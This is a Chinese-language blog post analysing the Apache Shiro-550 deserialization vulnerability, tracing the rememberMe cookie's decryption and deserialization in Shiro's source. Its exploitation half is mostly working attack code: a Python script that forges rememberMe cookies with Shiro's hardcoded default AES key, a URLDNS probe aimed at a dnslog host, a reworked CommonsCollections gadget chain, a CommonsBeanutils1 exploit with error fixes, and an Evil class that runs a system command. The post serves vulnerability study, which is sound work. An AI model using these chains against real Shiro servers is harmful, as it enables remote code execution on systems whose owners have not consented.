Java反序列化Shiro篇01-Shiro550流程分析

0x01 前言

shiro550 的根本原因:固定 key 加密

老漏洞了,不过之前写的不知道让我丢哪里去了,只剩下复现在,上一篇文章有简单复现,但是那个跟技术就不沾边了,重新写一下漏洞的分析而且现在CommonsCollections链也已经出到这么多了

任何反序列化漏洞还是要借助具体案例来进行学习,莫名其妙就写了7k多

0x02 环境

用的环境是下面的,jdk和tomcat不同版本我没有试过

环境就不能用docker了,jdk8u65 和 tomcat8 的配置,一步步安装即可,根据自己的pc下载

测试一下tomcat

IDEA 打开这个项目,去到 Settings 界面

代码直接用p牛的即可,IDEA打开这个项目然后进行下面的配置

如图配置,在 Add 的时候选择 Tomcat Server 这一选项。

配置 Edit Configurations

p牛都弄好了,配置一下即可

运行爆红不需要管,IEDA会直接弹到我们的页面

0x03 分析

漏洞原理

  • 勾选 RememberMe 字段,登陆成功的话,返回包 set-Cookie 会有 rememberMe=deleteMe 字段,还会有 rememberMe 字段,之后的所有请求中 Cookie 都会有 rememberMe 字段,那么就可以利用这个 rememberMe 进行反序列化,从而 getshell。

Shiro1.2.4 及之前的版本中,AES 加密的密钥默认硬编码在代码里(Shiro-550),Shiro 1.2.4 以上版本官方移除了代码中的默认密钥,要求开发者自己设置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险。

直接从cookie出发即可,cookie是经过某种加密并且知晓 Shiro 的加密过程之后,可以人为构造恶意的 Cookie 参数,从而实现命令执行的目的

  • 要找 Cookie 的加密过程,直接在 IDEA 里面全局搜索 Cookie,去找 Shiro 包里的类。

定位到CookieRememberMeManager这个处理类,看一下各个方法实现的目的,最终找到了getRememberedSerializedIdentity这个方法,所实现目的如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {
if (!WebUtils.isHttp(subjectContext)) {
if (log.isDebugEnabled()) {
String msg = "SubjectContext argument is not an HTTP-aware instance. This is required to obtain a servlet request and response in order to retrieve the rememberMe cookie. Returning immediately and ignoring rememberMe operation.";
log.debug(msg);
}

return null;
} else {
WebSubjectContext wsc = (WebSubjectContext)subjectContext;
if (this.isIdentityRemoved(wsc)) {
return null;
} else {
HttpServletRequest request = WebUtils.getHttpRequest(wsc);
HttpServletResponse response = WebUtils.getHttpResponse(wsc);
String base64 = this.getCookie().readValue(request, response);
if ("deleteMe".equals(base64)) {
return null;
} else if (base64 != null) {
base64 = this.ensurePadding(base64);
if (log.isTraceEnabled()) {
log.trace("Acquired Base64 encoded identity [" + base64 + "]");
}

byte[] decoded = Base64.decode(base64);
if (log.isTraceEnabled()) {
log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
}

return decoded;
} else {
return null;
}
}
}
}
1
2
3
4
5
6
7
这段代码的功能是从Web请求中获取记住我的身份信息:
首先检查SubjectContext是否为HTTP类型,如果不是则直接返回null
检查身份是否已被移除,如果是则返回null
从Cookie中读取Base64编码的身份信息
如果读取到"deleteMe"标识则返回null
对读取的Base64字符串进行填充处理并解码
返回解码后的字节数组身份信息

先判断是否为 HTTP 请求,如果是的话,获取 cookie 中 rememberMe 的值,然后判断是否是 deleteMe,不是则判断是否是符合 base64 的编码长度,然后再对其进行 base64 解码,将解码结果返回。

逆向跟进一下,看一下哪里调用了这个方法,定位到 AbstractRememberMeManager 这个接口的 getRememberedPrincipals() 方法,

1
2
3
4
5
6
获取序列化的身份数据
调用 getRememberedSerializedIdentity(subjectContext) 方法,该方法会从HTTP请求的Cookie中读取之前存储的Base64编码的身份信息,如果没有找到相关CookieCookie已被标记为删除,则返回null
检查获取结果
判断 bytes 是否为null,如果为null,说明没有有效的记住我信息,直接返回null
转换字节数据为身份集合
调用 convertBytesToPrincipals(bytes) 方法

跟进这个convertBytesToPrincipals方法

1
2
3
4
5
6
7
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (this.getCipherService() != null) {
bytes = this.decrypt(bytes);
}

return this.deserialize(bytes);
}

这个方法将之前的 bytes 数组转换成了认证信息,在 convertBytesToPrincipals() 这个方法当中,很明确地做了两件事,一件是 decrypt 的解密,另一件是 deserialize 的反序列化。

解密过程之 decrypt() 方法

跟进解密的decrypt方法

1
2
3
4
5
6
7
8
9
10
protected byte[] decrypt(byte[] encrypted) {
byte[] serialized = encrypted;
CipherService cipherService = this.getCipherService();// 获取一个加密服务也就是实现 AOP 的实现类
if (cipherService != null) {
ByteSource byteSource = cipherService.decrypt(encrypted, this.getDecryptionCipherKey());// 关键代码,如果加密服务存在,则调用 cipherService 的 decrypt 方法进行解密,参数包括:encrypted: 待解密的数据getDecryptKey(): 通过 getDecryptKey() 方法获取的解密密钥key,重点关注一下key
serialized = byteSource.getBytes();
}

return serialized;
}

跟进getDecryptionCipherKey这个方法看一下,一个 btye[] 的方法,返回了 decryptionCipherKey

跟进 decryptionCipherKey 之后,查看谁调用了它,发现是 setDecryptionCipherKey() 方法,继续跟进这个方法,查看一下哪里调用了 setDecryptionCipherKey() 方法

设置加密和解密使用的密钥。该方法接收一个字节数组类型的密钥参数,然后分别调用setEncryptionCipherKey()setDecryptionCipherKey()方法,将同一个密钥同时设置为加密密钥和解密密钥。那么看一下是在哪里调用了setCipherKey并传入的参数

非常显而易见的,传入的参数为 DEFAULT_CIPHER_KEY_BYTES,并且是一个固定的值,流程为

解密过程之 deserialize 反序列化

回到之前跟进到convertBytesToPrincipals方法时,跟进deserialize方法

跟进一下,有两个实现方法

1
2
3
4
5
6
这段代码实现了一个反序列化方法,功能如下:
参数校验:检查输入的字节数组是否为null,如果是则抛出IllegalArgumentException异常
流包装:将字节数组包装成ByteArrayInputStream,再用BufferedInputStream进行缓冲包装
反序列化:使用自定义的ClassResolvingObjectInputStream读取对象,将其转换为泛型T类型
异常处理:如果反序列化过程中出现任何异常,统一抛出SerializationException
资源清理:正常情况下关闭ObjectInputStream流并返回反序列化结果

deserialize() 方法调用了原生的 readObject(),所以这里反序列化的地方是一个很好的入口类,可以作为我们反序列化的入口

至此,Shiro 拿到 HTTP 包里的 Cookie 的解密过程已经梳理地很清楚了,我们再回头看一看那一段 Cookie 是如何产生的,也就是加密过程。

加密过程

  • 定位到AbstractRememberMeManager 接口的 onSuccessfulLogin 方法处,并在这里打个断点,这是判断是Shiro框架中处理用户登录成功后的行为的方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/**
* 处理用户登录成功后的回调方法
*
* @param subject 当前认证主体对象
* @param token 认证令牌
* @param info 认证信息
*/
public void onSuccessfulLogin(Subject subject, AuthenticationToken token, AuthenticationInfo info) {
// 登录成功后,首先清除当前身份信息
this.forgetIdentity(subject);

// 根据令牌判断是否需要记住用户身份
if (this.isRememberMe(token)) {
// 如果需要记住身份,则保存用户身份信息,调用rememberIdentity方法
this.rememberIdentity(subject, token, info);
} else if (log.isDebugEnabled()) {
// 如果不需要记住身份且调试日志开启,则记录相关信息
log.debug("AuthenticationToken did not indicate RememberMe is requested. RememberMe functionality will not be executed for corresponding account.");
}

}

这个判断这里,简单判断 RememberMe 字段是否为 true,再调用了 rememberIdentity() 方法,F7 进入 rememberIdentity() 方法,这里一串调用,保存用户名。

回到 rememberIdentity() 方法,跟进this.rememberIdentity(subject, principals)

进入 convertPrincipalsToBytes() 方法,里面和我们之前看的解密里面的 convertBytesToPrincipals() 非常相似,不过将解密变成了加密,将反序列化改成了序列化。

继续跟进到serialize方法,看一眼实现的代码,和之前一样反序列化找的过程一致,序列化最后如图

再回到convertPrincipalsToBytes方法中看一下 encrypt 加密的那一段

1
2
3
4
5
6
这段代码实现了一个加密方法,功能如下:
接收序列化后的字节数组作为输入
获取加密服务实例
如果加密服务存在,则使用该服务和加密密钥对数据进行加密
返回加密后的字节数组
核心逻辑是:有加密服务就加密,没有就直接返回原数据

可以看到这里传入的两个参数,调用encrypt进行加密

1
ByteSource byteSource = cipherService.encrypt(serialized, this.getEncryptionCipherKey());

1
2
3
4
这段代码实现了一个加密方法,也就是AES对称加密,主要功能如下:
初始化向量处理:根据配置决定是否生成初始化向量(IV)
IV生成验证:如果启用IV生成,则调用generateInitializationVector方法生成IV,并验证生成的IV不为空
执行加密:调用重载的encrypt方法执行实际的加密操作,传入明文、密钥、IV和生成标志

一个参数是需要加密的字段,一个即为key,那么我们回到上面跟进getEncryptionCipherKey这个方法看一下key的获取方式,其实这里就跟上面解密的步骤一样了,代码也是完全一样的,只不过顺序颠倒了一下

1
2
3
4
getDecryptionCipherKey() - 获取解密密钥
setDecryptionCipherKey() - 设置解密密钥
getCipherKey() - 获取加密密钥(通过调用getEncryptionCipherKey)
setCipherKey() - 设置加密密钥

依旧去找哪里调用了setCipherKey方法,很显然跟解密的过程是一样的

最重点的就是使用默认key,给了我们根据默认key进行反序列化打进去的机会

跳出这个地方回到 rememberIdentity() 方法,看一下从convertPrincipalsToBytes之后后续的处理

通过 AES 加密之后的 Cookie,拿去 Base64 编码,那么也就是我们前面数据包里看到的cookie了

0x04 Shiro-550 漏洞利用

看一下依赖,很明显该从哪里入手了,CC链和CB链都可以合理尝试一下(这里shiro是用不到CommonsCollections依赖的,是我们后续手动加的,原生依赖只有CommonsBeanutils)

CleanShot 2025-08-08 at 07.04.29@2x

漏洞利用思路

很简单的,就是将反序列化的东西,进行 shiro 的一系列加密操作,再把最后的那串东西替换包中的 RememberMe 字段的值。加密脚本如下,逻辑就是跟上面分析的过程一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
# -*-* coding:utf-8
# @Time : 2022/7/13 17:36
# @Author : Drunkbaby
# @FileName: encrypt.py
# @Software: VSCode
# @Blog :https://drun1baby.github.io/

from email.mime import base
from pydoc import plain
import sys
import base64
import uuid
from random import Random
from Crypto.Cipher import AES


def get_file_data(filename):
with open(filename, 'rb') as f:
data = f.read()
return data

def aes_enc(data):
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
return ciphertext

def aes_dec(enc_data):
enc_data = base64.b64decode(enc_data)
unpad = lambda s: s[:-s[-1]]
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = enc_data[:16]
encryptor = AES.new(base64.b64decode(key), mode, iv)
plaintext = encryptor.decrypt(enc_data[16:])
plaintext = unpad(plaintext)
return plaintext

if __name__ == "__main__":
data = get_file_data("ser.bin")
print(aes_enc(data))
  1. get_file_data(filename):从文件中读取二进制数据

  2. aes_enc(data):使用AES-CBC模式加密数据

  • 使用Shiro默认的硬编码密钥”kPH+bIxk5D2deZiIxcaaaA==”

  • 生成随机IV并加到加密数据前面

  • 对输入数据进行PKCS#7填充

  • 返回base64编码的加密结果

  1. aes_dec(enc_data):解密AES加密的数据
  • 从加密数据中提取IV(前16字节)

  • 使用相同的密钥解密

  • 移除填充并返回原始数据

  1. 主函数从”ser.bin”文件读取序列化的Java对象数据,加密后打印结果

该脚本可以将恶意的序列化Java对象加密成符合Shiro格式的rememberMe cookie值,用于漏洞利用。

URLDNS 链

构造 Payload 需要将利用链通过 AES 加密后在 Base64 编码。将 Payload 的值设置为 rememberMe 的 cookie 值,这里借助 ysoserial 中的 URLDNS 链去打,由于 URLDNS 不依赖于 Commons Collections 包,所以也是最简单的利用方式,只需要 JDK 的包就行,所以一般用于检测是否存在漏洞。

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import java.io.*;  
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNSEXP {
public static void main(String[] args) throws Exception{
HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
// 这里不要发起请求
URL url = new URL("http://ano5x1.dnslog.cn"); //改为你自己的DNS监控域名
Class c = url.getClass();
Field hashcodefile = c.getDeclaredField("hashCode");
hashcodefile.setAccessible(true);
hashcodefile.set(url,1234);
hashmap.put(url,1);
// 这里把 hashCode 改为 -1; 通过反射的技术改变已有对象的属性
hashcodefile.set(url,-1);
serialize(hashmap);
unserialize("ser.bin"); //生成反序列化后的文件
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
  1. 对象构造陷阱

    • 创建 URL对象指向监控域名(如 oastify.com
    • 通过反射强制修改其 hashCode1234避免创建时立即触发DNS解析
  2. 序列化准备

    • 将修改后的 URL存入 HashMap
    • 再次通过反射将 URL.hashCode重置为 -1(关键操作❗️)
    • 序列化 HashMap到文件 ser.bin
  3. 漏洞触发机制

    • ser.bin被反序列化时

      HashMap重建数据结构计算键的哈希值

      URL.hashCode=-1触发重新计算

      → 调用 URLStreamHandler.getHostAddress()

      向预设域名发起DNS查询

执行exp生成ser.bin文件

1
2
javac URLDNSEXP.java
java URLDNSEXP

然后将ser.bin文件拿到encrypt.py中执行AES 加密出来的编码替换包中的 RememberMe Cookie,将 JSESSIONID 删掉,因为当存在 JSESSIONID 时,会忽略 rememberMe,直接使用JSESSIONID做身份验证处理

查看dns监控网址是否收到请求,正常收到数据包发出来的请求,验证成功

CC6链攻击shiro

先说结论,单单用CC6是攻击不了的,具体原因写的比较清楚的可以参考这里CC6,简单来说就是有一个数组加载不出来导致无法利用,这里我们也可以简单看一下,就不下断掉跟流程了

异常点在org.apache.shiro.io.ClassResolvingObjectInputStream,可以看到,这是一个 ObjectInputStream 的子类,其重写了 resolveClass 方法:

resolveClass 是反序列化中用来查找类的方法,在读取序列化流的时候,读到一个字符串形式的类名,需要通过这个方法来找到对应的 java.lang.Class 对象。

找一下它的父类,也就是正常的 ObjectInputStream 类中的 resolveClass 方法,对比一下区别

注意到前者用的是ClassUtils.forName,原生用的是Class.forName,那么区别也就是在这里,对比一下两个forName的区别

关于断点跟进可以看刚才CC6那个链接,出异常时加载的类名为 [Lorg.apache.commons.collections.Transformer;。其实就是表示 org.apache.commons.collections.Transformer 的数组。

shiro自己重写的forName如下,看到是loadClass方法

CleanShot 2025-08-08 at 07.09.30@2x

而原生的forName,用的是ClassLoader.getClassLoader

CleanShot 2025-08-08 at 07.11.16@2x

区别就是这两个的区别,你可以说是 Class.forName()ClassLoader.loadClass() 的区别导致 shiro 反序列化时不能加载数组,这个原因不完全准确,较为准确的应该是:

shiro 加载 Class 最终调用的是 Tomcat 下的 webappclassloader,该类会使用 Class.forName() 加载数组类,但是使用的 classloader 是 URLClassLoader,只会加载 tomcat/bintomcat/libjre/lib/ext 下面的类数组,无法加载三方依赖 jar 包中的数组,也就是loadClassClassLoader对数组的处理方式的区别

也就是说,如果反序列化流中包含非 Java 自身的数组,则会出现无法加载类的错误。因为 CC6 用到了 Transformer 数组,所以加载失败,因此没法正常反序列化。

改造CommonsCollections链攻击shiro

大概思路就是CC6的后半部分的利用链,通过templatesImpl将恶意对象传进来,然后创建一个用来调用 newTransformer 方法的 InvokerTransformer,通过TiedMapEntry对恶意对象调用newTransformer方法执行命令

简单来说就是使用 TemplatesImpl.newTransformer 函数来动态 loadClass 构造好的evil class bytes。目的是为了不存在数组类型的对象而不会报错

CC中最常用的就是经过ConstantTransformer()将Runtime.class执行命令,但是可以看到CC1的利用链中,多层Transformer数组递归调用那么肯定会出现数组,所以这个方法肯定行不通的,需要想别的方法将我们的输入传进去

CleanShot 2025-08-08 at 07.37.34@2x

那么CC6里给我们提供了另一种方法,从 CommonsCollection6 开始,用到了 TiedMapEntry,其作为中继,调用了 LazyMap(map)的 get 函数,那么我们可以利用这里

其中 mapkey 都可以控制,而 LazyMap.get 调用了 transform 函数,并将可控的 key 传入 transform 函数:

CleanShot 2025-08-08 at 07.45.51@2x

首先还是创建 TemplatesImpl 对象:

1
2
3
4
5
6
7
8
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "aaa");
byte[] code = Files.readAllBytes(Paths.get("Evil.class"));
byte[][] codes = {code};
setFieldValue(templates, "_bytecodes", codes);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_auxClasses", null); // 关键修复
setFieldValue(templates, "_outputProperties", null); // 可选但推荐

创建一个用来调用 newTransformer 方法的 InvokerTransformer,但注意的是,此时先传入一个正常的方法,比如 getClass ,避免恶意方法在构造 Gadget 的时候触发:

1
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

再把之前的 CommonsCollections6 的代码复制过来,将原来 TiedMapEntry 构造时的第二个参数 key,改为前面创建的 TemplatesImpl 对象:

1
2
3
4
5
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, invokerTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);// 传进来恶意类
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
setFieldValue(badAttributeValueExpException, "val", tiedMapEntry);

完整代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class shiroexp {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "aaa");
byte[] code = Files.readAllBytes(Paths.get("Evil.class"));
byte[][] codes = {code};
setFieldValue(templates, "_bytecodes", codes);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_auxClasses", null); // 关键修复
setFieldValue(templates, "_outputProperties", null); // 可选但推荐

InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, invokerTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
setFieldValue(badAttributeValueExpException, "val", tiedMapEntry);

serialize(badAttributeValueExpException);
unserialize("shiro.bin");
}

public static void setFieldValue(Object obj, String fieldName, Object fieldValue)
throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, fieldValue);
}
//反序列化
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("shiro.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
return ois.readObject();
}
}

所用到的恶意Evil.java类代码如下,javac进行编译,注释中的是必须存在的东西否则会失败

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Evil extends AbstractTranslet {

// 必须有无参构造函数
public Evil() {
super();
executePayload();
}

private void executePayload() {
try {
// macOS 弹出计算器命令
String[] cmd = {
"/usr/bin/osascript",
"-e",
"tell application \"Calculator\" to activate"
};
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
// 静默处理异常
}
}

// 必须实现 transform 方法
@Override
public void transform(DOM document, SerializationHandler[] handlers)
throws TransletException {}

@Override
public void transform(DOM document, DTMAxisIterator iterator,
SerializationHandler handler) throws TransletException {}
}

执行shiroexp即可,这里需要注意的是包的处理问题,生成了shiro.bin再去跑我们的加密脚本即可得到payload

CleanShot 2025-08-08 at 10.33.20@2x

CleanShot 2025-08-08 at 10.41.53@2x

CommonsBeanutils1 分析利用

因为原生shiro自己是不用到CommonsCollections依赖的,所以上方打CC链都是我们手动添加依赖进去(不过在某些特定情况下也是会存在CommonsCollections),如果是纯原生shiro的话就需要用CommonsBeanutils1来利用

Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通 Java 类对象(也称为 JavaBean)的一些操作方法,相当于一个增强功能的依赖包,例如

1
2
3
4
5
6
7
8
9
final public class Person {
private String name = "catalina";
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}

CleanShot 2025-08-08 at 15.53.51@2x

commons-beanutils 中提供了一个静态方法 PropertyUtils.getProperty ,让使用者可以直接调用任意 JavaBean 的 getter 方法,比如刚才的:PropertyUtils.getProperty(person, "name");

此时,commons-beanutils 会自动找到 name 属性的 getter 方法,也就是 getName,然后调用,获得返回值。除此之外, PropertyUtils.getProperty 还支持递归获取属性,比如 a 对象中有属性 b,b 对象中有属性 c,我们可以通过 PropertyUtils.getProperty(a, "b.c"); 的方式进行递归获取。通过该方法,使用者可以很方便地调用任意对象的 getter,适用于在不确定 JavaBean 是哪个类对象时使用。

那么直接就在这个调用的地方打断点进去找一下可以利用的点,进入之后先是调了getProperty后再次调用了另一个对象的getProperty,继续跟进这个getProperty

CleanShot 2025-08-08 at 16.03.54@2x

然后是这个方法getNestedProperty,进到这个方法看一下,一连串的判断,其实就是如果是Map、Index就进对应的方法,不是就到最后一个getSimpleProperty方法

CleanShot 2025-08-08 at 16.12.22@2x

CleanShot 2025-08-08 at 16.06.05@2x

可以看到从这里开始就已经实现getName方法,将我们传入的name转化为了对应的get方法,这段代码仔细看一下也就是实现了这个效果,那么到此就大概了解了流程

CleanShot 2025-08-08 at 16.14.25@2x

那么既然可以将属性转化为对应的get方法,那么我们就想到了TemplatesImpl类中的getOutputProperties,这里调用了newTransformer().getOutputProperties(),我们知道newTransformer是可以动态加载而实现代码执行,那么就尝试利用这一点

CleanShot 2025-08-08 at 16.29.16@2x

把刚才CommonsCollections的直接拿过来,是没问题的

CleanShot 2025-08-08 at 16.42.54@2x

那么回到第一次调用getProperty的地方,也就是org.apache.commons.beanutils.PropertyUtils#getProperty方法,查找一下这个方法的用法,找一下可能反序列化的地方,定位到org.apache.commons.beanutils.BeanComparator#compare

CleanShot 2025-08-08 at 18.32.26@2x

这个方法传入两个对象,如果 this.property 为空,则直接比较这两个对象。如果 this.property 不为空,则用 PropertyUtils.getProperty 分别取这两个对象的 this.property 属性,比较属性的值。PropertyUtils.getProperty 这个方法会自动去调用一个 JavaBean的getter 方法, 这个点是任意代码执行的关键。

在分析 TemplatesImpl 利用链的文章中指出,TemplatesImpl#getOutputProperties() 方法是调用链上的一环,它的内部调用了 TemplatesImpl#newTransformer() ,也就是后面常用来执行恶意字节码的方法:

这里可以简单说一下为什么org.apache.commons.beanutils.BeanComparator#compare可以利用,CC2利用链中使用的是PriorityQueue优先队列里的跟踪

1
2
3
4
5
java.util.PriorityQueue
java.util.PriorityQueue#readObject
java.util.PriorityQueue#heapify
java.util.PriorityQueue#siftDownUsingComparator
java.util.Comparator#compare

CleanShot 2025-08-08 at 18.44.30@2x

CleanShot 2025-08-08 at 18.45.57@2x

那么跟进去TransformingComparator,你会发现compare调用了transformer.transform,那么就类似了,CC2这里能用那么CB这里能用也是一样的效果,也是从优先队列入手

CleanShot 2025-08-08 at 18.47.15@2x

最终利用链为从优先队列PriorityQueue.readObject为入口

1
2
3
4
5
6
PriorityQueue.readObject
BeanComparator.compare
PropertyUtils.getProperty
TemplatesImpl.getOutputProperties
TemplatesImpl.newTransformer
defineClass.newInstance

完整exp如下,恶意类依旧是上面的evil.class,这条链是不需要CommonsCollections依赖的,我把CommonsCollections依赖全移除掉,这是根据报错CB出现的问题修改后的exp,报错解决办法请看下方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

/**
* 注释来自AI,仅供参考
*/
public class CB1exp {
public static void main(String[] args) throws Exception {
// 创建TemplatesImpl对象用于加载恶意字节码
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Calc");

// 读取恶意字节码
byte[] code = Files.readAllBytes(Paths.get("evil.class"));
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

// 创建BeanComparator,使用AttrCompare作为内部比较器
final BeanComparator beanComparator = new BeanComparator("outputProperties", new AttrCompare());

// 创建PriorityQueue,但不立即添加元素
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);

// 直接通过反射设置队列内容,避免添加元素时触发比较
setFieldValue(queue, "queue", new Object[]{templates, templates});
setFieldValue(queue, "size", 2);

// 序列化和反序列化
serialize(queue);
unserialize("ser.bin");
}

/**
* 通过反射设置对象的私有字段值
* @param obj 要设置字段的对象
* @param fieldName 字段名称
* @param value 要设置的字段值
* @throws Exception 当操作失败时抛出
*/
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

/**
* 将对象序列化到文件
* @param obj 要序列化的对象
* @throws IOException 当文件写入发生错误时抛出
*/
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
System.out.println("对象已序列化到 ser.bin 文件");
}

/**
* 从文件中反序列化对象
* @param filename 要读取的文件名
* @return 反序列化后的对象
* @throws IOException 当文件读取发生错误时抛出
* @throws ClassNotFoundException 当找不到对应类时抛出
*/
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
try {
Object result = ois.readObject();
System.out.println("反序列化成功完成");
return result;
} catch (Exception e) {
System.out.println("反序列化过程中捕获到异常: " + e.getClass().getName());
System.out.println("这可能是成功执行恶意代码的标志");
e.printStackTrace();
return null;
} finally {
ois.close();
}
}
}

操作跟上方类似,反序列化后进行加密即可

CleanShot 2025-08-08 at 22.13.23@2x

打CB存在的问题

ysoserial中CC版本问题

网上已经分析的很明白了,我就不多赘述了,commons-beanutils:commons-beanutils版本的问题,shiro是1.8.3,ysoserial是1.9.2,区别就在这里,上面没有问题是因为我是直接用的shiro里的版本一致,所以未出现这个问题,版本用一致即可,因为版本改的代码挺多的

未找到ComparableComparator类

这个错误还是挺有意思的

1
Unable to load class named [org.apache.commons.collections.comparators.ComparableComparator]

CleanShot 2025-08-09 at 15.54.22@2x

简单来说就是没找到 org.apache.commons.collections.comparators.ComparableComparator 类,从包名即可看出,这个类是来自于 commons-collections

commons-beanutils 本来依赖于 commons-collections,但是在 Shiro 中,它的 commons-beanutils 虽然包含了一部分 commons-collections 的类,但却不全。这也导致,正常使用 Shiro 的时候不需要依赖于 commons-collections,但反序列化利用的时候需要依赖于commons-collections。

根据报错信息去找CB依赖中调用ComparableComparator类的地方,定位到org.apache.commons.beanutils.BeanComparator#BeanComparator

CleanShot 2025-08-08 at 23.09.23@2x

BeanComparator 类的构造函数处,当没有显式传入 Comparator 的情况下,则默认使用 ComparableComparator

既然此时没有 ComparableComparator ,需要找到一个类来替换,它满足下面这几个条件:

  • 实现 java.util.Comparator 接口
  • 实现 java.io.Serializable 接口 Java、shiro 或 commons-beanutils 自带,且兼容性强

CleanShot 2025-08-08 at 23.28.57@2x

CleanShot 2025-08-08 at 23.29.40@2x

同时满足这两个条件即可,随便找一个能用的就好了,例如com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare或者java.lang.String.CaseInsensitiveComparator均实现了这两个接口,那么改写一下exp即可

1
final BeanComparator beanComparator = new BeanComparator(null, new AttrCompare());

CleanShot 2025-08-09 at 15.57.32@2x

上图的exp还是存在问题的,在添加元素到 PriorityQueue 时,使用了 AttrCompare 比较器,但它期望比较的是 Attr 类型的对象,而实际添加的是 Integer 类型的对象,导致类型转换异常的错误,这个就很好改了,修改办法参考我上面的exp

0x05 漏洞探测

指纹识别

